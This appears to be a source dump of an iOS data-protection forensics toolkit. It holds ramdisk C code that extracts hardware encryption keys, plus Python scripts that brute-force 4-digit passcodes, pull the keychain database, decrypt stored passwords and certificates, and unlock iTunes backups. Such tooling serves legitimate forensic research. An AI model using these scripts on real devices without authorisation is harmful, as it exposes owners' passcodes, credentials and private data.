60 | hispublic = z[36:36+32] 61 | 62 | #c4d9fe462a2ebbf0745195ce7dc5e8b49947bbd5b42da74175d5f8125b44582b 63 | shared = curve25519(mysecret, hispublic) 64 | print shared.encode("hex") 65 | 66 | h = SHA256.new() 67 | h.update('\x00\x00\x00\x01') 68 | h.update(shared) 69 | h.update(hispublic) 70 | h.update(mypublic) 71 | md = h.digest() 72 | 73 | #e442c81b91ea876d3cf42d3aea75f4b0c3f90f9fd045e1f5784b91260f3bdc9c 74 | print AESUnwrap(md, z[32+36:]).encode("hex") 75 | -------------------------------------------------------------------------------- /emf_decrypter/includes/dmg/filevault.h: -------------------------------------------------------------------------------- 1 | #ifndef FILEVAULT_H 2 | #define FILEVAULT_H 3 | 4 | #include 5 | #include "dmg.h" 6 | 7 | #ifdef HAVE_CRYPT 8 | 9 | #include 10 | #include 11 | 12 | #define FILEVAULT_CIPHER_KEY_LENGTH 16 13 | #define FILEVAULT_CIPHER_BLOCKSIZE 16 14 | #define FILEVAULT_CHUNK_SIZE 4096 15 | #define FILEVAULT_PBKDF2_ITER_COUNT 1000 16 | #define FILEVAULT_MSGDGST_LENGTH 20 17 | 18 | /* 19 | * Information about the FileVault format was yoinked from vfdecrypt, which was written by Ralf-Philipp Weinmann , 20 | * Jacob Appelbaum , and Christian Fromme 21 | */ 22 | 23 | #define FILEVAULT_V2_SIGNATURE 0x656e637263647361ULL 24 | 25 | typedef struct FileVaultV1Header { 26 | uint8_t padding1[48]; 27 | uint32_t kdfIterationCount; 28 | uint32_t kdfSaltLen; 29 | uint8_t kdfSalt[48]; 30 | uint8_t unwrapIV[0x20]; 31 | uint32_t wrappedAESKeyLen; 32 | uint8_t wrappedAESKey[296]; 33 | uint32_t wrappedHMACSHA1KeyLen; 34 | uint8_t wrappedHMACSHA1Key[300]; 35 | uint32_t integrityKeyLen; 36 | uint8_t integrityKey[48]; 37 | uint8_t padding2[484]; 38 | } __attribute__((__packed__)) FileVaultV1Header; 39 | 40 | typedef struct FileVaultV2Header { 41 | uint64_t signature; 42 | uint32_t version; 43 | uint32_t encIVSize; 44 | uint32_t unk1; 45 | uint32_t unk2; 46 | uint32_t unk3; 47 | uint32_t unk4; 48 | uint32_t unk5; 49 | UDIFID uuid; 50 | uint32_t blockSize; 51 | uint64_t dataSize; 52 | uint64_t dataOffset; 53 | uint8_t padding[0x260]; 54 | uint32_t kdfAlgorithm; 55 | uint32_t kdfPRNGAlgorithm; 56 | uint32_t kdfIterationCount; 57 | uint32_t kdfSaltLen; 58 | uint8_t kdfSalt[0x20]; 59 | uint32_t blobEncIVSize; 60 | uint8_t blobEncIV[0x20]; 61 | uint32_t blobEncKeyBits; 62 | uint32_t blobEncAlgorithm; 63 | uint32_t blobEncPadding; 64 | uint32_t blobEncMode; 65 | uint32_t encryptedKeyblobSize; 66 | uint8_t encryptedKeyblob[0x30]; 67 | } __attribute__((__packed__)) FileVaultV2Header; 68 | 69 | typedef struct FileVaultInfo { 70 | union { 71 | FileVaultV1Header v1; 72 | FileVaultV2Header v2; 73 | } header; 74 | 75 | uint8_t version; 76 | uint64_t dataOffset; 77 | uint64_t dataSize; 78 | uint32_t blockSize; 79 | 80 | AbstractFile* file; 81 | 82 | HMAC_CTX hmacCTX; 83 | AES_KEY aesKey; 84 | AES_KEY aesEncKey; 85 | 86 | off_t offset; 87 | 88 | uint32_t curChunk; 89 | unsigned char chunk[FILEVAULT_CHUNK_SIZE]; 90 | 91 | char dirty; 92 | char headerDirty; 93 | } FileVaultInfo; 94 | #endif 95 | 96 | AbstractFile* createAbstractFileFromFileVault(AbstractFile* file, const char* key); 97 | 98 | #endif 99 | -------------------------------------------------------------------------------- /emf_decrypter/BUILD: -------------------------------------------------------------------------------- 1 | INSTRUCTIONS FOR BUILDING XPWN 2 | ------------------------------ 3 | 4 | These are very basic instructions on how to build xpwn related projects, they 5 | are tailored to Debian based systems. They are not meant to be a substitute 6 | for experience in programming in GNU/Linux environments, but it should be a 7 | good starting point. 8 | 9 | 1. Install a basic build environment (compilers, etc.): 10 | 11 | sudo apt-get install build-essential 12 | 13 | 2. Install some prerequisites libraries required by xpwn: 14 | 15 | sudo apt-get install libcrypt-dev libz-dev libbz2-dev3 libusb-dev 16 | 17 | 3. Install cmake. It is recommended you download and build it from the 18 | official cmake website, since versions >= 2.6.0 are recommended. 19 | 20 | wget http://www.cmake.org/files/v2.6/cmake-2.6.2.tar.gz 21 | tar zxvf cmake-2.6.2.tar.gz 22 | cd cmake-2.6.2 23 | ./configure 24 | make 25 | sudo make install 26 | 27 | Now you are ready to build xpwn. It is highly recommended that you build 28 | out-of-source (that is, the build products are not placed into the same 29 | folders as the sources). This is much neater and cleaning up is as simple as 30 | deleting the build products folder. 31 | 32 | Assuming xpwn sources are in ~/xpwn: 33 | 34 | 4. Create a build folder 35 | 36 | cd ~ 37 | mkdir build 38 | cd build 39 | 40 | 5. Create Makefiles 41 | 42 | cmake ~/xpwn 43 | 44 | 6. Build 45 | 46 | make 47 | 48 | 7. Package 49 | 50 | make package 51 | 52 | BUILDING USEFUL LIBRARIES 53 | ------------------------- 54 | 55 | These command-lines can be substituted in for step 6. The products are in the 56 | subfolders (make package will not include them). 57 | 58 | xpwn library (for IPSW generation) 59 | 60 | make libXPwn.a 61 | 62 | Windows pwnmetheus library (for QuickPwn) 63 | 64 | make libpwnmetheus.dll 65 | 66 | HELPFUL MAKEFILE GENERATION COMMAND-LINES 67 | ----------------------------------------- 68 | 69 | These command-lines can be substituted in for step 5. 70 | 71 | Add debugging symbols: 72 | 73 | cmake ~/xpwn -DCMAKE_C_FLAGS=-g 74 | 75 | Try to only use static libraries: 76 | 77 | cmake ~/xpwn -DBUILD_STATIC=YES 78 | 79 | 80 | CROSS-COMPILING 81 | --------------- 82 | 83 | This is a complex and advanced topic, but it is possible with the appropriate 84 | CMake toolchain files and properly configured build environment. I have 85 | crossbuilt Windows, OS X, Linux x86, Linux x64, and iPhone binaries from one 86 | Ubuntu machine. The source trees are properly configured for this task. 87 | 88 | MORE HELP 89 | --------- 90 | 91 | Consult the CMake documentation and wiki and look in the CMakeLists.txt files 92 | for hints on how things are supposed to work. 93 | -------------------------------------------------------------------------------- /ramdisk_tools/AppleKeyStore.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | AppleKeyStore 5 | 0 : initUserClient scalarOutSize=1 6 | 1 : 7 | 2 : AppleKeyStoreKeyBagCreate 8 | 3 : AppleKeyStoreKeyBagCopyData inscalars=id structOutSize=0x8000 9 | 4 : keybagrelease inscalars":[0]} 10 | 5 : AppleKeyStoreKeyBagSetSystem 11 | 6 : AppleKeyStoreKeyBagCreateWithData 12 | 7 : getlockstate "inscalars":[0], "scalarOutSize":1} 13 | 8 : AppleKeyStoreLockDevice 14 | 9 : AppleKeyStoreUnlockDevice instruct 15 | 10: AppleKeyStoreKeyWrap 16 | 11: AppleKeyStoreKeyUnwrap 17 | 12: AppleKeyStoreKeyBagUnlock 18 | 13: AppleKeyStoreKeyBagLock 19 | 14: AppleKeyStoreKeyBagGetSystem scalarOutSize=1 20 | 15: AppleKeyStoreKeyBagChangeSecret 21 | 17: AppleKeyStoreGetDeviceLockState scalarOutSize=1 22 | 18: AppleKeyStoreRecoverWithEscrowBag 23 | 19: AppleKeyStoreOblitClassD 24 | */ 25 | #define kAppleKeyStoreInitUserClient 0 26 | #define kAppleKeyStoreKeyBagSetSystem 5 27 | #define kAppleKeyStoreKeyBagCreateWithData 6 28 | #define kAppleKeyStoreUnlockDevice 9 29 | 30 | #define MAX_CLASS_KEYS 20 31 | 32 | struct KeyBagBlobItem 33 | { 34 | unsigned int tag; 35 | unsigned int len; 36 | union 37 | { 38 | unsigned int intvalue; 39 | unsigned char bytes[1]; 40 | } data; 41 | }; 42 | 43 | typedef struct ClassKey 44 | { 45 | unsigned char uuid[16]; 46 | unsigned int clas; 47 | unsigned int wrap; 48 | unsigned char wpky[40]; 49 | } ClassKey; 50 | 51 | typedef struct KeyBag 52 | { 53 | unsigned int version; 54 | unsigned int type; 55 | unsigned char uuid[16]; 56 | unsigned char hmck[40]; 57 | unsigned char salt[20]; 58 | unsigned int iter; 59 | 60 | unsigned int numKeys; 61 | 62 | struct ClassKey keys[MAX_CLASS_KEYS]; 63 | } KeyBag; 64 | 65 | 66 | int AppleKeyStoreKeyBagInit(); 67 | CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename); 68 | int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId); 69 | int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId); 70 | int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode); 71 | 72 | KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb); 73 | void AppleKeyStore_printKeyBag(KeyBag* kb); 74 | 75 | int AppleKeyStore_getPasscodeKey(KeyBag* keybag, 76 | const char* passcode, 77 | size_t passcodeLen, 78 | uint8_t* passcodeKey); 79 | 80 | int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, 81 | const char* passcode, 82 | size_t passcodeLen, 83 | uint8_t* key835); 84 | -------------------------------------------------------------------------------- /python_scripts/demo_bruteforce.py: -------------------------------------------------------------------------------- 1 | import plistlib 2 | import os 3 | from keystore.keybag import Keybag 4 | from keychain.keychain4 import Keychain4 5 | from keychain.managedconfiguration import bruteforce_old_pass 6 | from util.ramdiskclient import RamdiskToolClient 7 | from util import write_file 8 | 9 | def checkPasscodeComplexity(rdclient): 10 | pl = rdclient.downloadFile("/mnt2/mobile/Library/ConfigurationProfiles/UserSettings.plist") 11 | if not pl: 12 | print "Failed to download UserSettings.plist, assuming simple passcode" 13 | return 0 14 | pl = plistlib.readPlistFromString(pl) 15 | print "passcodeKeyboardComplexity :", pl["restrictedValue"]["passcodeKeyboardComplexity"] 16 | return pl["restrictedValue"]["passcodeKeyboardComplexity"]["value"] 17 | 18 | def bf_system(): 19 | client = RamdiskToolClient() 20 | di = client.getDeviceInfos() 21 | devicedir = di["udid"] 22 | if os.getcwd().find(devicedir) == -1: 23 | try: 24 | os.mkdir(devicedir) 25 | except: 26 | pass 27 | os.chdir(devicedir) 28 | key835 = di.get("key835").decode("hex") 29 | 30 | systembag = client.getSystemKeyBag() 31 | kbkeys = systembag["KeyBagKeys"].data 32 | kb = Keybag.createWithDataSignBlob(kbkeys, key835) 33 | keybags = di.setdefault("keybags", {}) 34 | kbuuid = kb.uuid.encode("hex") 35 | print "Keybag UUID :", kbuuid 36 | if True and keybags.has_key(kbuuid) and keybags[kbuuid].has_key("passcodeKey"): 37 | print "We've already seen this keybag" 38 | passcodeKey = keybags[kbuuid].get("passcodeKey").decode("hex") 39 | print kb.unlockWithPasscodeKey(passcodeKey) 40 | kb.printClassKeys() 41 | else: 42 | keybags[kbuuid] = {"KeyBagKeys": systembag["KeyBagKeys"]} 43 | di["KeyBagKeys"] = systembag["KeyBagKeys"] 44 | di.save() 45 | if checkPasscodeComplexity(client) == 0: 46 | print "Trying all 4-digits passcodes..." 47 | bf = client.bruteforceKeyBag(systembag["KeyBagKeys"].data) 48 | if bf: 49 | di.update(bf) 50 | keybags[kbuuid].update(bf) 51 | print bf 52 | print kb.unlockWithPasscodeKey(bf.get("passcodeKey").decode("hex")) 53 | kb.printClassKeys() 54 | di["classKeys"] = kb.getClearClassKeysDict() 55 | di.save() 56 | else: 57 | print "Complex passcode used !" 58 | return 59 | 60 | #keychain_blob = client.downloadFile("/private/var/Keychains/keychain-2.db") 61 | keychain_blob = client.downloadFile("/mnt2/Keychains/keychain-2.db") 62 | write_file("keychain-2.db", keychain_blob) 63 | print "Downloaded keychain database, use keychain_tool.py to decrypt secrets" 64 | 65 | bf_system() 66 | -------------------------------------------------------------------------------- /ramdisk_tools/IOKit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "IOKit.h" 4 | 5 | struct ioconnectCache { 6 | const char* serviceName; 7 | io_connect_t conn; 8 | }; 9 | 10 | struct ioconnectCache cache[10]={{NULL, 0}}; 11 | 12 | void __attribute__((destructor)) IOKit_destruct() 13 | { 14 | int i; 15 | for (i=0; i < 10 && cache[i].conn != 0; i++) { 16 | //printf("Closing %s\n", cache[i].serviceName); 17 | IOServiceClose(cache[i].conn); 18 | } 19 | } 20 | 21 | io_connect_t IOKit_getConnect(const char* serviceName) 22 | { 23 | IOReturn ret; 24 | io_connect_t conn = 0; 25 | int i; 26 | 27 | for (i=0; i < 10 && cache[i].serviceName != NULL; i++) { 28 | if (!strcmp(serviceName, cache[i].serviceName)) 29 | { 30 | //printf("got cache for %s\n", serviceName); 31 | return cache[i].conn; 32 | } 33 | } 34 | 35 | CFMutableDictionaryRef dict = IOServiceMatching(serviceName); 36 | io_service_t dev = IOServiceGetMatchingService(kIOMasterPortDefault, dict); 37 | 38 | if(!dev) { 39 | fprintf(stderr, "FAIL: Could not get %s service\n", serviceName); 40 | return -1; 41 | } 42 | 43 | ret = IOServiceOpen(dev, mach_task_self(), 0, &conn); 44 | 45 | IOObjectRelease(dev); 46 | if(ret != kIOReturnSuccess) { 47 | fprintf(stderr, "FAIL: Cannot open service %s\n", serviceName); 48 | return -1; 49 | } 50 | 51 | if (i < 10) { 52 | cache[i].serviceName = serviceName; 53 | cache[i].conn = conn; 54 | } 55 | 56 | return conn; 57 | } 58 | 59 | IOReturn IOKit_call(const char* serviceName, 60 | uint32_t selector, 61 | const uint64_t *input, 62 | uint32_t inputCnt, 63 | const void *inputStruct, 64 | size_t inputStructCnt, 65 | uint64_t *output, 66 | uint32_t *outputCnt, 67 | void *outputStruct, 68 | size_t *outputStructCnt) 69 | { 70 | IOReturn ret; 71 | io_connect_t conn = IOKit_getConnect(serviceName); 72 | 73 | ret = IOConnectCallMethod(conn, 74 | selector, 75 | input, 76 | inputCnt, 77 | inputStruct, 78 | inputStructCnt, 79 | output, 80 | outputCnt, 81 | outputStruct, 82 | outputStructCnt); 83 | 84 | if (ret != kIOReturnSuccess) 85 | { 86 | fprintf(stderr, "IOConnectCallMethod on %s selector %d returned %x\n", serviceName, selector, ret); 87 | } 88 | 89 | return ret; 90 | } -------------------------------------------------------------------------------- /ramdisk_tools/util.h: -------------------------------------------------------------------------------- 1 | struct HFSInfos { 2 | uint64_t volumeUUID; 3 | uint32_t blockSize; 4 | uint32_t dataVolumeOffset; 5 | }; 6 | 7 | struct HFSPlusVolumeHeader { 8 | uint16_t signature; 9 | uint16_t version; 10 | uint32_t attributes; 11 | uint32_t lastMountedVersion; 12 | uint32_t journalInfoBlock; 13 | 14 | uint32_t createDate; 15 | uint32_t modifyDate; 16 | uint32_t backupDate; 17 | uint32_t checkedDate; 18 | 19 | uint32_t fileCount; 20 | uint32_t folderCount; 21 | 22 | uint32_t blockSize; 23 | uint32_t totalBlocks; 24 | uint32_t freeBlocks; 25 | 26 | uint32_t nextAllocation; 27 | uint32_t rsrcClumpSize; 28 | uint32_t dataClumpSize; 29 | uint32_t nextCatalogID; 30 | 31 | uint32_t writeCount; 32 | uint64_t encodingsBitmap; 33 | 34 | uint32_t finderInfo[6]; 35 | uint64_t volumeUUID; 36 | /* 37 | HFSPlusForkData allocationFile; 38 | HFSPlusForkData extentsFile; 39 | HFSPlusForkData catalogFile; 40 | HFSPlusForkData attributesFile; 41 | HFSPlusForkData startupFile;*/ 42 | } __attribute__((packed)); 43 | 44 | //https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h 45 | typedef struct _LwVMPartitionRecord { 46 | uint64_t type[2]; 47 | uint64_t guid[2]; 48 | uint64_t begin; 49 | uint64_t end; 50 | uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted 51 | char partitionName[0x48]; 52 | } __attribute__ ((packed)) LwVMPartitionRecord; 53 | 54 | typedef struct _LwVM { 55 | uint64_t type[2]; 56 | uint64_t guid[2]; 57 | uint64_t mediaSize; 58 | uint32_t numPartitions; 59 | uint32_t crc32; 60 | uint8_t unkn[464]; 61 | LwVMPartitionRecord partitions[12]; 62 | uint16_t chunks[1024]; // chunks[0] should be 0xF000 63 | } __attribute__ ((packed)) LwVM; 64 | 65 | static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B }; 66 | 67 | int getHFSInfos(struct HFSInfos *infos); 68 | 69 | CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len); 70 | 71 | void printBytesToHex(const uint8_t* buffer, size_t bytes); 72 | void printHexString(const char* description, const uint8_t* buffer, size_t bytes); 73 | int write_file(const char* filename, uint8_t* data, size_t len); 74 | 75 | void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len); 76 | void saveResults(CFStringRef filename, CFMutableDictionaryRef out); 77 | 78 | int mountDataPartition(const char* mountpoint); 79 | 80 | -------------------------------------------------------------------------------- /python_scripts/backup_tool.py: -------------------------------------------------------------------------------- 1 | from backups.backup3 import decrypt_backup3 2 | from backups.backup4 import MBDB 3 | from keystore.keybag import Keybag 4 | from util import readPlist, makedirs 5 | import os 6 | import sys 7 | import plistlib 8 | 9 | showinfo = ["Device Name", "Display Name", "Last Backup Date", "IMEI", 10 | "Serial Number", "Product Type", "Product Version", "iTunes Version"] 11 | 12 | def extract_backup(backup_path, output_path, password=""): 13 | if not os.path.exists(backup_path + "/Manifest.plist"): 14 | print "Manifest.plist not found" 15 | return 16 | manifest = readPlist(backup_path + "/Manifest.plist") 17 | 18 | info = readPlist( backup_path + "/Info.plist") 19 | for i in showinfo: 20 | print i + " : " + unicode(info.get(i, "missing")) 21 | 22 | print "Extract backup to %s ? (y/n)" % output_path 23 | if raw_input() == "n": 24 | return 25 | 26 | print "Backup is %sencrypted" % (int(not manifest["IsEncrypted"]) * "not ") 27 | 28 | if manifest["IsEncrypted"] and password == "": 29 | print "Enter backup password : " 30 | password = raw_input() 31 | 32 | if not manifest.has_key("BackupKeyBag"): 33 | print "No BackupKeyBag in manifest, assuming iOS 3.x backup" 34 | decrypt_backup3(backup_path, output_path, password) 35 | else: 36 | mbdb = MBDB(backup_path) 37 | 38 | kb = Keybag.createWithBackupManifest(manifest, password) 39 | if not kb: 40 | return 41 | manifest["password"] = password 42 | makedirs(output_path) 43 | plistlib.writePlist(manifest, output_path + "/Manifest.plist") 44 | 45 | mbdb.keybag = kb 46 | mbdb.extract_backup(output_path) 47 | 48 | print "You can decrypt the keychain using the following command : " 49 | print "python keychain_tool.py -d %s %s" % (output_path + "/keychain-backup.plist", output_path + "/Manifest.plist") 50 | 51 | def extract_all(): 52 | if sys.platform == "win32": 53 | mobilesync = os.environ["APPDATA"] + "/Apple Computer/MobileSync/Backup/" 54 | elif sys.platform == "darwin": 55 | mobilesync = os.environ["HOME"] + "/Library/Application Support/MobileSync/Backup/" 56 | else: 57 | print "Unsupported operating system" 58 | return 59 | print "-" * 60 60 | print "Searching for iTunes backups" 61 | print "-" * 60 62 | 63 | for udid in os.listdir(mobilesync): 64 | extract_backup(mobilesync + "/" + udid, udid + "_extract") 65 | 66 | def main(): 67 | if len(sys.argv) < 2: 68 | print "Usage: %s [output path]" % sys.argv[0] 69 | return 70 | backup_path = sys.argv[1] 71 | output_path = os.path.dirname(backup_path) + "_extract" 72 | if len(sys.argv) >= 3: 73 | output_path = sys.argv[2] 74 | 75 | extract_backup(backup_path, output_path) 76 | 77 | if __name__ == "__main__": 78 | main() 79 | -------------------------------------------------------------------------------- /python_scripts/keychain_tool.py: -------------------------------------------------------------------------------- 1 | from optparse import OptionParser 2 | from keystore.keybag import Keybag 3 | from keychain import keychain_load 4 | from keychain.managedconfiguration import bruteforce_old_pass 5 | from util import readPlist 6 | from keychain.keychain4 import Keychain4 7 | import plistlib 8 | 9 | def main(): 10 | parser = OptionParser(usage="%prog keychain.db/keychain-backup.plist keyfile.plist/Manifest.plist") 11 | parser.add_option("-d", "--display", dest="display", action="store_true", default=False, 12 | help="Show keychain items on stdout") 13 | parser.add_option("-s", "--sanitize", dest="sanitize", action="store_true", default=False, 14 | help="Hide secrets on stdout with ***") 15 | parser.add_option("-p", "--passwords", dest="passwords", action="store_true", default=False, 16 | help="Save generic & internet passwords as CSV file") 17 | parser.add_option("-c", "--certs", dest="certs", action="store_true", default=False, 18 | help="Extract certificates and keys") 19 | parser.add_option("-o", "--old", dest="oldpass", action="store_true", default=False, 20 | help="Bruteforce old passcodes") 21 | 22 | (options, args) = parser.parse_args() 23 | if len(args) < 2: 24 | parser.print_help() 25 | return 26 | 27 | p = readPlist(args[1]) 28 | 29 | if p.has_key("BackupKeyBag"): 30 | deviceKey = None 31 | if p.has_key("key835"): 32 | deviceKey = p["key835"].decode("hex") 33 | else: 34 | if not p["IsEncrypted"]: 35 | print "This backup is not encrypted, without key 835 nothing in the keychain can be decrypted" 36 | print "If you have key835 for device %s enter it (in hex)" % p["Lockdown"]["UniqueDeviceID"] 37 | d = raw_input() 38 | if len(d) == 32: 39 | p["key835"] = d 40 | deviceKey = d.decode("hex") 41 | plistlib.writePlist(p, args[1]) 42 | 43 | kb = Keybag.createWithBackupManifest(p, p.get("password",""), deviceKey) 44 | if not kb: 45 | return 46 | k = Keychain4(args[0], kb) 47 | else: 48 | kb = Keybag.createWithPlist(p) 49 | k = keychain_load(args[0], kb, p["key835"].decode("hex")) 50 | 51 | if options.display: 52 | k.print_all(options.sanitize) 53 | if options.passwords: 54 | k.save_passwords() 55 | if options.certs: 56 | k.save_certs_keys() 57 | 58 | if options.oldpass: 59 | mc = k.get_managed_configuration() 60 | if not mc: 61 | print "Managed configuration not found" 62 | return 63 | print "Bruteforcing %d old passcodes" % len(mc.get("history",[])) 64 | for h in mc["history"]: 65 | p = bruteforce_old_pass(h) 66 | if p: 67 | print "Found : %s" % p 68 | else: 69 | print "Not Found" 70 | 71 | if __name__ == "__main__": 72 | main() 73 | -------------------------------------------------------------------------------- /ramdisk_tools/device_info.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "IOAESAccelerator.h" 6 | #include "AppleEffaceableStorage.h" 7 | #include "bsdcrypto/rijndael.h" 8 | #include "bsdcrypto/key_wrap.h" 9 | #include "registry.h" 10 | #include "util.h" 11 | 12 | uint8_t lockers[960]={0}; 13 | uint8_t lwvm[80]={0}; 14 | 15 | CFDictionaryRef device_info(int socket, CFDictionaryRef request) 16 | { 17 | uint8_t dkey[40]={0}; 18 | uint8_t emf[36]={0}; 19 | 20 | struct HFSInfos hfsinfos={0}; 21 | 22 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 23 | 0, 24 | &kCFTypeDictionaryKeyCallBacks, 25 | &kCFTypeDictionaryValueCallBacks); 26 | 27 | get_device_infos(out); 28 | 29 | getHFSInfos(&hfsinfos); 30 | /* 31 | printf("NAND block size : %x\n", hfsinfos.blockSize); 32 | printf("Data volume UUID : %llx\n", CFSwapInt64BigToHost(hfsinfos.volumeUUID)); 33 | printf("Data volume offset : %x\n", hfsinfos.dataVolumeOffset); 34 | */ 35 | uint8_t* key835 = IOAES_key835(); 36 | uint8_t* key89B = IOAES_key89B(); 37 | 38 | if (!AppleEffaceableStorage__getBytes(lockers, 960)) 39 | { 40 | CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull); 41 | CFDictionaryAddValue(out, CFSTR("lockers"), lockersData); 42 | CFRelease(lockersData); 43 | 44 | if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40)) 45 | { 46 | aes_key_wrap_ctx ctx; 47 | 48 | aes_key_wrap_set_key(&ctx, key835, 16); 49 | 50 | if(aes_key_unwrap(&ctx, dkey, dkey, 32/8)) 51 | printf("FAIL unwrapping DKey with key 0x835\n"); 52 | } 53 | if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36)) 54 | { 55 | doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); 56 | } 57 | else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50)) 58 | { 59 | doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); 60 | memcpy(&emf[4], &lwvm[32+16], 32); 61 | } 62 | } 63 | 64 | CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset); 65 | CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n); 66 | CFRelease(n); 67 | addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8); 68 | addHexaString(out, CFSTR("key835"), key835, 16); 69 | addHexaString(out, CFSTR("key89B"), key89B, 16); 70 | addHexaString(out, CFSTR("EMF"), &emf[4], 32); 71 | addHexaString(out, CFSTR("DKey"), dkey, 32); 72 | 73 | return out; 74 | } 75 | -------------------------------------------------------------------------------- /emf_decrypter/includes/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #ifdef WIN32 11 | #define fseeko fseeko64 12 | #define ftello ftello64 13 | #define off_t off64_t 14 | #define mkdir(x, y) mkdir(x) 15 | #define PATH_SEPARATOR "\\" 16 | #else 17 | #define PATH_SEPARATOR "/" 18 | #endif 19 | 20 | #define TRUE 1 21 | #define FALSE 0 22 | 23 | #define FLIPENDIAN(x) flipEndian((unsigned char *)(&(x)), sizeof(x)) 24 | #define FLIPENDIANLE(x) flipEndianLE((unsigned char *)(&(x)), sizeof(x)) 25 | 26 | #define IS_BIG_ENDIAN 0 27 | #define IS_LITTLE_ENDIAN 1 28 | 29 | #define TIME_OFFSET_FROM_UNIX 2082844800L 30 | #define APPLE_TO_UNIX_TIME(x) ((x) - TIME_OFFSET_FROM_UNIX) 31 | #define UNIX_TO_APPLE_TIME(x) ((x) + TIME_OFFSET_FROM_UNIX) 32 | 33 | #define ASSERT(x, m) if(!(x)) { fflush(stdout); fprintf(stderr, "error: %s\n", m); perror("error"); fflush(stderr); exit(1); } 34 | 35 | extern char endianness; 36 | 37 | static inline void flipEndian(unsigned char* x, int length) { 38 | int i; 39 | unsigned char tmp; 40 | 41 | if(endianness == IS_BIG_ENDIAN) { 42 | return; 43 | } else { 44 | for(i = 0; i < (length / 2); i++) { 45 | tmp = x[i]; 46 | x[i] = x[length - i - 1]; 47 | x[length - i - 1] = tmp; 48 | } 49 | } 50 | } 51 | 52 | static inline void flipEndianLE(unsigned char* x, int length) { 53 | int i; 54 | unsigned char tmp; 55 | 56 | if(endianness == IS_LITTLE_ENDIAN) { 57 | return; 58 | } else { 59 | for(i = 0; i < (length / 2); i++) { 60 | tmp = x[i]; 61 | x[i] = x[length - i - 1]; 62 | x[length - i - 1] = tmp; 63 | } 64 | } 65 | } 66 | 67 | static inline void hexToBytes(const char* hex, uint8_t** buffer, size_t* bytes) { 68 | *bytes = strlen(hex) / 2; 69 | *buffer = (uint8_t*) malloc(*bytes); 70 | size_t i; 71 | for(i = 0; i < *bytes; i++) { 72 | uint32_t byte; 73 | sscanf(hex, "%2x", &byte); 74 | (*buffer)[i] = byte; 75 | hex += 2; 76 | } 77 | } 78 | 79 | static inline void hexToInts(const char* hex, unsigned int** buffer, size_t* bytes) { 80 | *bytes = strlen(hex) / 2; 81 | *buffer = (unsigned int*) malloc((*bytes) * sizeof(int)); 82 | size_t i; 83 | for(i = 0; i < *bytes; i++) { 84 | sscanf(hex, "%2x", &((*buffer)[i])); 85 | hex += 2; 86 | } 87 | } 88 | 89 | struct io_func_struct; 90 | 91 | typedef int (*readFunc)(struct io_func_struct* io, off_t location, size_t size, void *buffer); 92 | typedef int (*writeFunc)(struct io_func_struct* io, off_t location, size_t size, void *buffer); 93 | typedef void (*closeFunc)(struct io_func_struct* io); 94 | 95 | typedef struct io_func_struct { 96 | void* data; 97 | readFunc read; 98 | writeFunc write; 99 | closeFunc close; 100 | } io_func; 101 | 102 | struct AbstractFile; 103 | 104 | unsigned char* decodeBase64(char* toDecode, size_t* dataLength); 105 | void writeBase64(struct AbstractFile* file, unsigned char* data, size_t dataLength, int tabLength, int width); 106 | char* convertBase64(unsigned char* data, size_t dataLength, int tabLength, int width); 107 | 108 | #endif 109 | -------------------------------------------------------------------------------- /python_scripts/util/ramdiskclient.py: -------------------------------------------------------------------------------- 1 | import os 2 | import plistlib 3 | import struct 4 | import socket 5 | from datetime import datetime 6 | from progressbar import ProgressBar, Percentage, Bar, SimpleProgress, ETA 7 | 8 | class DeviceInfo(dict): 9 | @staticmethod 10 | def create(dict): 11 | try: 12 | assert dict.has_key("dataVolumeUUID") 13 | filename = "%s.plist" % dict.get("dataVolumeUUID") 14 | return DeviceInfo(plistlib.readPlist(filename)) 15 | except: 16 | return DeviceInfo(dict) 17 | 18 | def save(self): 19 | filename = "%s.plist" % self.get("dataVolumeUUID", "unk") 20 | print "Saving %s/%s" % (os.getcwd() , filename) 21 | plistlib.writePlist(self, filename) 22 | 23 | def __del__(self): 24 | pass#self.save() 25 | 26 | class RamdiskToolClient(object): 27 | def __init__(self, host="localhost", port=1999): 28 | self.host = host 29 | self.port = port 30 | self.device_infos = {} 31 | self.connect() 32 | 33 | def connect(self): 34 | self.s = socket.socket() 35 | try: 36 | self.s.connect((self.host, self.port)) 37 | except: 38 | raise Exception("Cannot cannot to ramdisk over usbmux, run \"python tcprelay.py -t 22:2222 1999:%d\"" % self.port) 39 | 40 | def 